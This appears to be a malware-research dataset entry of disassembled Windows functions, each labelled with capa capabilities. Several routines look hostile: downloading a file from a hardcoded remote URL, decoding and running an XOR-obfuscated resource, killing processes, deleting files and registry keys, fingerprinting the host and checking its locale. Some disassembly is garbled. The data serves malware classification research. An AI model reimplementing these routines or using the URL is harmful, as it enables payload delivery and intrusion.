joyce8/EMBER2024-capa huggingface dataset:
Function at 0xc04a60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
mov esi, dword [0xc2b010]
push edi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
mov edi, dword [ebp + 0x10]
lea eax, [edi + 1]
push eax
push 0
call 0x4c702f8
nop
push eax
call 0x77045da0
nop
mov ebx, eax
push 0xc349e8
mov dword [ebp - 4], ebx
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
mov byte [ebx + edi], 0
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0xc04b7a
mov eax, dword [ebp + 8]
sub eax, ebx
mov dword [ebp - 8], eax
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
mov ecx, dword [ebp + 0xc]
push ecx
add ebx, edi
nop
call 0x75b897f0
mov ecx, eax
xor edx, edx
mov eax, edi
div ecx
mov eax, dword [ebp + 0xc]
add esp, 4
push 0xc349e8
mov cl, byte [edx + eax]
mov edx, dword [ebp - 8]
xor cl, byte [edx + ebx]
mov byte [ebx], cl
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
mov ebx, dword [ebp - 4]
inc edi
cmp edi, dword [ebp + 0x10]
jb 0xc04b06
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
push 0xc349e8
call esi
lea eax, [ebp - 0xc]
push eax
push 0x100
push 4
push ebx
mov dword [ebp - 0xc], 0
call 0x4c702fe
nop
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0xc06ef0
Capabilities:
Parse pe header

Disassembly:
cmp dword [ebx + 4], 0x40
jb 0xc06f91
mov eax, dword [ebx]
push 0x40
push eax
push esi
nop
call 0x75b88cf0
mov ecx, 0x5a4d
add esp, 0xc
cmp word [esi], cx
jne 0xc06fc0
mov eax, dword [esi + 0x3c]
test eax, eax
je 0xc06fc0
lea edx, [eax + 0xf8]
cmp edx, dword [ebx + 4]
ja 0xc06f91
mov ecx, dword [ebx]
push edi
push pe_nt_image_headers32
add ecx, eax
push ecx
lea edi, [esi + 0x40]
push edi
nop
call 0x75b88cf0
add esp, 0xc
cmp dword [edi], 0x4550
pop edi
jne 0xc06fc0
mov edx, 0x10b
cmp word [esi + 0x58], dx
jne 0xc06fc0
movzx eax, word [esi + 0x46]
test ax, ax
je 0xc06fc0
lea eax, [eax + eax*4]
add eax, eax
add eax, eax
add eax, eax
push eax
push 8
mov dword [esi + 0x140], eax
call dword [fcn.00e390f4]
push eax
call dword [fcn.00e39088]
mov dword [esi + 0x138], eax
test eax, eax
jne 0xc06f97
mov eax, 3
ret
mov eax, 1
ret
movzx ecx, word [esi + 0x54]
mov edx, dword [esi + 0x3c]
lea ecx, [ecx + edx + 0x18]
mov edx, dword [esi + 0x140]
push ebx
push edx
push ecx
push eax
mov dword [esi + 0x13c], ecx
call fcn.00c07590
add esp, 0x10
neg eax
sbb eax, eax
inc eax
ret
mov eax, 2
ret
Function at 0x10edaf0
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [0xe390e0]
test esi, esi
jne 0x10edb08
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x10edb01
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x10edb01
mov eax, dword [eax + esi + 0x78]
mov ecx, dword [eax + esi + 0x1c]
add eax, esi
add ecx, esi
push ebx
mov ebx, dword [eax + 0x20]
mov dword [ebp - 0xc], ecx
mov ecx, dword [eax + 0x24]
mov eax, dword [eax + 0x18]
push edi
add ecx, esi
add ebx, esi
xor edi, edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], eax
test eax, eax
je 0x10edb6a
jmp 0x10edb50
mov eax, dword [ebx + edi*4]
mov ecx, dword [0xe38bf0]
add eax, esi
call fcn.010eb610
test eax, eax
je 0x10edb73
inc edi
cmp edi, dword [ebp - 4]
jb 0x10edb50
pop edi
pop ebx
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 8]
movzx edx, word [ecx + edi*2]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + edx*4]
pop edi
pop ebx
add eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401091
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 0x2c
mov eax, dword [section..data]
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.USER32.dll_IsChild
sub esp, 8
call sub.USER32.dll_GetForegroundWindow
push ebp
mov ebp, 0x1240
pop ebp
call sub.KERNEL32.dll_GetCurrentThreadId
mov eax, dword [0x403008]
shl eax, 3
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_LocalAlloc
sub esp, 8
mov dword [0x409024], eax
mov eax, dword [0x409010]
mov dword [esp], eax
call fcn.0040104c
mov edx, dword [0x409024]
add al, byte [0x403004]
mov byte [ebp - 0x19], al
mov ebx, edx
mov eax, dword [0x403008]
lea edi, [edx + eax*8]
cmp edx, edi
jae 0x401207
mov esi, 0x403080
lea eax, [ebx + 7]
movzx ecx, byte [esi]
movzx edx, byte [ebp - 0x19]
xor edx, ecx
mov byte [eax], dl
mov eax, dword [section..data]
mov dword [esp], eax
call sub.USER32.dll_IsWindowVisible
sub esp, 4
lea eax, [ebx + 5]
lea edx, [esi + 2]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0x19]
xor edx, ecx
mov byte [eax], dl
mov eax, dword [section..data]
mov dword [esp], eax
call sub.USER32.dll_IsIconic
sub esp, 4
lea eax, [ebx + 3]
lea edx, [esi + 3]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0x19]
xor edx, ecx
mov byte [eax], dl
call sub.KERNEL32.dll_GetCurrentThreadId
push eax
mov eax, 0x1e0f3
pop eax
lea eax, [ebx + 1]
lea edx, [esi + 4]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0x19]
xor edx, ecx
mov byte [eax], dl
mov eax, dword [section..data]
mov dword [esp], eax
call sub.USER32.dll_IsIconic
sub esp, 4
lea eax, [ebx + 2]
lea edx, [esi + 5]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0x19]
xor edx, ecx
mov byte [eax], dl
mov eax, dword [section..data]
mov dword [esp], eax
call sub.USER32.dll_IsWindowUnicode
sub esp, 4
lea eax, [esi + 6]
movzx edx, byte [eax]
movzx eax, byte [ebp - 0x19]
xor eax, edx
mov byte [ebx], al
mov eax, dword [section..data]
mov dword [esp], eax
call sub.USER32.dll_IsWindow
sub esp, 4
lea eax, [ebx + 6]
lea edx, [esi + 8]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0x19]
xor edx, ecx
mov byte [eax], dl
call sub.KERNEL32.dll_GetLastError
lea eax, [ebx + 4]
lea edx, [esi + 9]
movzx ecx, byte [edx]
movzx edx, byte [ebp - 0x19]
xor edx, ecx
mov byte [eax], dl
add ebx, 8
add esi, 0xa
cmp ebx, edi
jb 0x401116
mov eax, dword [0x409024]
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x401519
Capabilities:
Contain obfuscated stackstrings
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [ebp - 0x16], 0x33393131
mov dword [ebp - 0x12], 0x32373638
mov word [ebp - 0xe], 0x38
lea eax, [ebp - 0x16]
mov dword [0x409010], eax
mov dword [0x409014], 0x39
mov dword [0x409018], 0xf5
mov dword [esp + 8], 0xa
mov dword [esp + 4], 0x8894
mov dword [esp], 0
call sub.KERNEL32.dll_FindResourceA
sub esp, 0xc
mov dword [esp + 4], eax
mov dword [esp], 0
call sub.KERNEL32.dll_LoadResource
sub esp, 8
mov dword [esp], eax
call sub.KERNEL32.dll_LockResource
sub esp, 4
mov dword [section..bss], eax
lea edx, [eax + 0xe]
mov dword [0x409004], edx
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0x1c
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov eax, dword [section..bss]
mov dword [esp + 4], sub.KERNEL32.dll_LoadLibraryA
lea edx, [eax + 0x1c]
mov dword [esp], edx
call eax
sub esp, 8
mov dword [0x40901c], eax
mov eax, dword [section..bss]
add eax, 0x38
mov dword [0x409008], eax
call fcn.00401281
mov eax, 0
leave
ret 0x10
Function at 0x402ea9
Capabilities:
Delete registry key
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x214
push ebx
push esi
mov esi, dword [ebp + 0x10]
push edi
mov edi, esi
lea eax, [ebp - 4]
and esi, 0x300
push eax
mov eax, esi
and edi, 1
or al, 9
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.004064d5
xor ebx, ebx
cmp eax, ebx
jne 0x402f8c
test byte [ebp + 0x10], 2
je 0x402f0a
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push ebx
push eax
lea eax, [ebp - 0x214]
mov dword [ebp - 8], ebx
push eax
push ebx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegEnumValueW]
cmp eax, 0x103
jne 0x402f71
lea eax, [ebp - 0x214]
push 0x105
push eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyW]
jmp 0x402f46
test edi, edi
jne 0x402f71
push dword [ebp + 0x10]
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 4]
call fcn.00402ea9
test eax, eax
jne 0x402f4f
lea eax, [ebp - 0x214]
push 0x105
push eax
push edi
push dword [ebp - 4]
call ebx
test eax, eax
je 0x402f1f
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 3
call fcn.00406a35
test eax, eax
jne 0x402f81
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x402f8c
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 0x3eb
jmp 0x402f8c
push 0
push esi
push dword [ebp + 0xc]
push dword [ebp + 8]
call eax
pop edi
pop esi
pop ebx
leave
ret 0xc

Function at 0x406428
Capabilities:
Contain obfuscated stackstrings

Disassembly:
out 0xff, al
call [ecx + 0x50]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.00404a6b
add esp, 0xc
mov dword [ebp - 0x730], eax
and dword [ebp - 0x6fc], 0
push 1
pop eax
test eax, eax
je 0x406b4c
invalid
Function at 0x4013a0
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x409018]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
lea eax, [ebp - 0x134]
push eax
push edi
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x40144d
mov ebx, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x110]
lea ecx, [ecx]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x401410
test dl, dl
je 0x40140c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x401410
add eax, 2
add ecx, 2
test dl, dl
jne 0x4013f0
xor eax, eax
jmp 0x401415
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40143b
mov ecx, dword [ebp - 0x12c]
push ecx
push eax
push 1
call ebx
mov esi, eax
test esi, esi
je 0x40143b
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x134]
push edx
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x4013e4
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404740
mov esp, ebp
pop ebp
ret
Function at 0x401b70
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
mov eax, dword [0x409018]
xor eax, ebp
mov dword [ebp - 8], eax
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
jae 0x401b92
lea eax, [ebp + 8]
mov edi, dword [sym.imp.MSVCR100.dll_sprintf]
push eax
lea eax, [ebp - 0x10c]
push str._s.mnth
push eax
call edi
add esp, 0xc
lea ecx, [ebp - 0x24c]
push ecx
lea edx, [ebp - 0x10c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov esi, eax
cmp dword [ebp + 0x1c], 0x10
mov eax, dword [ebp + 8]
jae 0x401bd2
lea eax, [ebp + 8]
lea ecx, [ebp - 0x220]
push ecx
push eax
lea edx, [ebp - 0x10c]
push str._s_s
push edx
call edi
add esp, 0x10
lea eax, [ebp - 0x10c]
push eax
call ebx
lea ecx, [ebp - 0x24c]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x401bc6
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 0x1c], 0x10
jb 0x401c20
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404740
mov esp, ebp
pop ebp
ret
Function at 0x401c40
Capabilities:
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x68
push edi
push 0
push 0
push 0
push 0
push str.Some_USER___AGENT
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
push str.http:__shiroryu.com_blackout_Simple.mentah
push eax
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov edi, eax
test edi, edi
jne 0x401c91
cmp dword [ebp + 0x1c], 0x10
jb 0x401c8a
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 8]
push ebx
mov ebx, 0x10
cmp dword [ebp + 0x1c], ebx
jae 0x401ca2
lea eax, [ebp + 8]
push esi
push 0x4064c8
push eax
call dword [sym.imp.MSVCR100.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
jne 0x401cbd
cmp dword [ebp + 0x1c], ebx
jmp 0x401d0b
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea edx, [ebp - 4]
push edx
push 0x32
lea eax, [ebp - 0x68]
push eax
push edi
call ebx
test eax, eax
je 0x401cfd
mov eax, dword [ebp - 4]
push esi
test eax, eax
je 0x401d23
push eax
lea ecx, [ebp - 0x68]
push 1
push ecx
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
lea edx, [ebp - 4]
push edx
push 0x32
lea eax, [ebp - 0x68]
push eax
push edi
call ebx
test eax, eax
jne 0x401cd4
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 4
cmp dword [ebp + 0x1c], 0x10
jb 0x401d1a
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
call dword [sym.imp.MSVCR100.dll_fflush]
push esi
call dword [sym.imp.MSVCR100.dll_fclose]
add esp, 8
cmp dword [ebp + 0x1c], 0x10
jb 0x401d46
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.MSVCR100.dll_void___cdecl_operator_delete_void__]
add esp, 4
pop esi
pop ebx
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x403c00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x405238
mov eax, dword fs:[0]
push eax
sub esp, 0x24
mov eax, dword [0x409018]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
cmp dword [ebx + 0x44], 0
je 0x403d92
cmp byte [ebx + 0x49], 0
je 0x403d92
mov eax, dword [ebx]
mov edx, dword [eax + 0xc]
push 0xffffffffffffffff
mov ecx, ebx
call edx
cmp eax, 0xffffffff
je 0x403d86
lea esi, [ebp - 0x2c]
call fcn.00403960
mov dword [ebp - 4], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403c73
lea edx, [ebp - 0x2c]
mov eax, edx
lea ecx, [ebp - 0x30]
push ecx
mov ecx, dword [ebp - 0x1c]
add ecx, edx
push ecx
mov ecx, dword [ebx + 0x44]
push eax
lea eax, [ebx + 0x4c]
push eax
call dword [sym.imp.MSVCP100.dll_public:_int___thiscall_std::codecvt_char__char__int_::unshift_int___char___char___char___const]
sub eax, 0
je 0x403cab
dec eax
je 0x403caf
sub eax, 2
lea esi, [ebp - 0x2c]
je 0x403d8d
call fcn.00402c80
xor al, al
jmp 0x403d94
mov byte [ebx + 0x49], 0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov edx, eax
cmp edi, 0x10
jae 0x403cbf
lea edx, [ebp - 0x2c]
mov esi, dword [ebp - 0x30]
sub esi, edx
je 0x403ced
cmp edi, 0x10
jae 0x403cce
lea eax, [ebp - 0x2c]
mov edx, dword [ebx + 0x54]
push edx
push esi
push 1
push eax
call dword [sym.imp.MSVCR100.dll_fwrite]
add esp, 0x10
cmp esi, eax
jne 0x403d7e
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
cmp byte [ebx + 0x49], 0
je 0x403d8a
test esi, esi
jne 0x403c67
mov ecx, dword [ebp - 0x1c]
or edx, 0xffffffff
sub edx, ecx
cmp edx, 8
jbe 0x403daf
lea esi, [ecx + 8]
cmp esi, 0xfffffffe
ja 0x403daf
cmp edi, esi
jae 0x403d67
push ecx
push esi
lea eax, [ebp - 0x2c]
push eax
call fcn.004041c0
mov edi, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
test esi, esi
je 0x403c67
mov ecx, eax
cmp edi, 0x10
jae 0x403d43
lea ecx, [ebp - 0x2c]
mov edx, dword [ebp - 0x1c]
xor eax, eax
mov dword [ecx + edx], eax
mov dword [ecx + edx + 4], eax
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x1c], esi
jae 0x403d5e
lea eax, [ebp - 0x2c]
mov byte [eax + esi], 0
jmp 0x403c61
test esi, esi
jne 0x403d39
mov dword [ebp - 0x1c], esi
cmp edi, 0x10
jae 0x403d76
lea eax, [ebp - 0x2c]
mov byte [eax], 0
jmp 0x403c61
lea esi, [ebp - 0x2c]
call fcn.00402c80
xor al, al
jmp 0x403d94
lea esi, [ebp - 0x2c]
call fcn.00402c80
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00404740
mov esp, ebp
pop ebp
ret
push str.string_too_long
call dword [sym.imp.MSVCP100.dll_void___cdecl_std::_Xlength_error_char_const__]
int3

Function at 0x404740
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x409018]
jne 0x40474a
repz ret
jmp fcn.00404b5d
Function at 0x401c32
Capabilities:
Encode data using base64

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, edx
mov dword [ebp - 4], ecx
push edi
push 3
pop ecx
xor edx, edx
mov ebx, dword [ebp + 8]
lea eax, [esi + 2]
div ecx
mov ecx, eax
shl ecx, 2
mov dword [ebx], ecx
call fcn.00403595
mov edi, eax
mov dword [ebp - 8], edi
test edi, edi
je 0x401d1a
xor ecx, ecx
test esi, esi
je 0x401cf6
mov ebx, edi
mov edi, dword [ebp - 4]
cmp ecx, esi
jae 0x401c7f
movzx edx, byte [ecx + edi]
inc ecx
jmp 0x401c81
xor edx, edx
cmp ecx, esi
jae 0x401c8f
movzx eax, byte [ecx + edi]
inc ecx
mov dword [ebp - 4], eax
jmp 0x401c93
and dword [ebp - 4], 0
cmp ecx, esi
jae 0x401c9e
movzx eax, byte [ecx + edi]
inc ecx
jmp 0x401ca0
xor eax, eax
shl edx, 8
add edx, dword [ebp - 4]
shl edx, 8
add edx, eax
mov eax, edx
shr eax, 0x12
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx], al
mov eax, edx
shr eax, 0xc
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 1], al
mov eax, edx
shr eax, 6
and edx, 0x3f
and eax, 0x3f
mov al, byte [eax + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 2], al
mov al, byte [edx + str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_]
mov byte [ebx + 3], al
add ebx, 4
cmp ecx, esi
jb 0x401c78
mov edi, dword [ebp - 8]
mov ebx, dword [ebp + 8]
push 3
xor edx, edx
mov eax, esi
pop ecx
div ecx
mov ecx, dword [edx*4 + 0x407150]
test ecx, ecx
jle 0x401d18
mov eax, dword [ebx]
dec eax
add eax, edi
mov byte [eax], 0x3d
dec eax
sub ecx, 1
jne 0x401d0f
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401d21
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push ebx
push esi
push edi
mov esi, edx
mov dword [ebp - 0x24], 0x50595243
mov edi, ecx
mov dword [ebp - 0x20], 0x2e323354
xor ebx, ebx
mov dword [ebp - 0x1c], 0x6c6c64
lea edx, [ebp - 0x10]
mov dword [ebp - 0x10], 0x75bb510b
lea ecx, [ebp - 0x24]
mov dword [ebp - 0xc], ebx
call fcn.0040475f
cmp al, 1
jne 0x401dbc
push 0xc
xor edx, edx
lea ecx, [ebp - 0x24]
call fcn.00403603
add esp, 4
mov dword [ebp - 0x14], edi
lea eax, [ebp - 8]
mov dword [ebp - 0x18], esi
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x18]
push eax
call dword [ebp - 0x10]
test eax, eax
je 0x401d92
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 8]
mov byte [eax + ecx], bl
jmp 0x401dbc
lea eax, [esi + esi]
cmp esi, eax
jne 0x401dbc
push 8
pop ecx
lea eax, [ebp - 8]
mov esi, str.Poverty_is_the_parent_of_crime.
push eax
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x18]
lea edi, [ebp - 0x44]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.CRYPT32.dll_CryptProtectData]
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 4]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x401fba
Capabilities:
Get keyboard layout
Identify system language via api

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe8
mov eax, 0x419
mov word [ebp - 0x20], ax
mov eax, 0x422
mov word [ebp - 0x1e], ax
mov eax, 0x423
mov word [ebp - 0x1c], ax
mov eax, 0x42c
mov word [ebp - 0x1a], ax
mov eax, 0x42b
mov word [ebp - 0x18], ax
mov eax, 0x43f
mov word [ebp - 0x16], ax
mov eax, 0x440
mov word [ebp - 0x14], ax
mov eax, 0x438
mov word [ebp - 0x12], ax
mov eax, 0x428
mov word [ebp - 0x10], ax
mov eax, 0x443
mov word [ebp - 0xe], ax
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov word [ebp - 8], ax
mov byte [ebp - 2], 0
jmp 0x402035
mov al, byte [ebp - 2]
add al, 1
mov byte [ebp - 2], al
movzx eax, byte [ebp - 2]
cmp eax, 0xa
jae 0x402054
movzx eax, byte [ebp - 2]
movzx eax, word [ebp + eax*2 - 0x20]
movzx ecx, word [ebp - 8]
cmp eax, ecx
jne 0x402052
jmp dword [ebp - 0x20]
jmp 0x40202d
movzx eax, word [ebp - 8]
push eax
push str.__SystemLayout__d_r_n
push 0
call fcn.00403668
add esp, 0xc
push str.__KeyboardLayouts:__
push 0
call fcn.00403668
pop ecx
pop ecx
lea eax, [ebp - 0xe8]
push eax
push 0x32
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jle 0x4020cf
mov byte [ebp - 1], 0
jmp 0x40209c
mov al, byte [ebp - 1]
add al, 1
mov byte [ebp - 1], al
movzx eax, byte [ebp - 1]
cmp eax, dword [ebp - 0xc]
jge 0x4020cf
movzx eax, byte [ebp - 1]
movzx eax, word [ebp + eax*4 - 0xe8]
push eax
push str._d
push 0
call fcn.00403668
add esp, 0xc
movzx eax, byte [ebp - 1]
and dword [ebp + eax*4 - 0xe8], 0
jmp 0x402094
push str.___r_n
push 0
call fcn.00403668
pop ecx
pop ecx
mov esp, ebp
pop ebp
ret
Function at 0x4020e1
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2ac
movaps xmm0, xmmword [0x4075c0]
mov ecx, 0x100
push ebx
push esi
push edi
movups xmmword [esp + 0x18], xmm0
call fcn.00403595
mov dword [esp + 0x10], eax
mov edi, 0x80000000
mov eax, edi
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, [esp + 0x18]
mov dword [ebx], eax
mov dword [ebx + 4], esi
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
mov eax, dword [esp + 0x18]
mov dword [esp + 0x14], eax
cmp eax, edi
jb 0x402190
mov eax, edi
xor ecx, ecx
push ebx
cpuid
mov esi, ebx
pop ebx
lea ebx, [esp + 0x18]
mov dword [ebx], eax
mov dword [ebx + 4], esi
mov dword [ebx + 8], ecx
mov dword [ebx + 0xc], edx
cmp edi, 0x80000002
jne 0x40215b
mov ecx, dword [esp + 0x10]
jmp 0x40217b
cmp edi, 0x80000003
jne 0x40216c
mov ecx, dword [esp + 0x10]
lea ecx, [ecx + 0x10]
jmp 0x40217b
cmp edi, 0x80000004
jne 0x402189
mov ecx, dword [esp + 0x10]
lea ecx, [ecx + 0x20]
push 0x10
lea edx, [esp + 0x1c]
call fcn.004035d8
add esp, 4
inc edi
cmp edi, dword [esp + 0x14]
jbe 0x402134
lea eax, [esp + 0x90]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileA]
xor esi, esi
test eax, eax
je 0x4021ba
lea eax, [esp + 0x94]
push eax
push str.__HWID:__s_r_n
push esi
call fcn.00403668
add esp, 0xc
lea eax, [esp + 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
push dword [esp + 0x80]
mov ebx, dword [esp + 0x14]
push ebx
push str.__CPU:__s___d_cores__r_n
push esi
call fcn.00403668
add esp, 0x10
mov ecx, ebx
call fcn.004035c3
lea eax, [esp + 0x28]
mov dword [esp + 0x28], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov ecx, dword [esp + 0x30]
mov eax, dword [esp + 0x34]
shrd ecx, eax, 0x1e
shr eax, 0x1e
push eax
push ecx
push str.__RAM:__d_GB_r_n
push esi
call fcn.00403668
mov ebx, dword [sym.imp.USER32.dll_EnumDisplayDevicesA]
lea eax, [esp + 0x120]
add esp, 0x10
xor edi, edi
inc edi
push edi
push eax
push edi
jmp 0x402268
mov eax, dword [esp + 0x110]
cmp esi, eax
je 0x402257
lea eax, [esp + 0x134]
push eax
push edi
push str.__VideoAdapter__d:__s_r_n
push 0
call fcn.00403668
mov eax, dword [esp + 0x120]
add esp, 0x10
test esi, esi
push 1
cmove esi, eax
lea eax, [esp + 0x114]
inc edi
push eax
push edi
push 0
mov dword [esp + 0x120], 0x1a8
call ebx
test eax, eax
jne 0x40222d
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret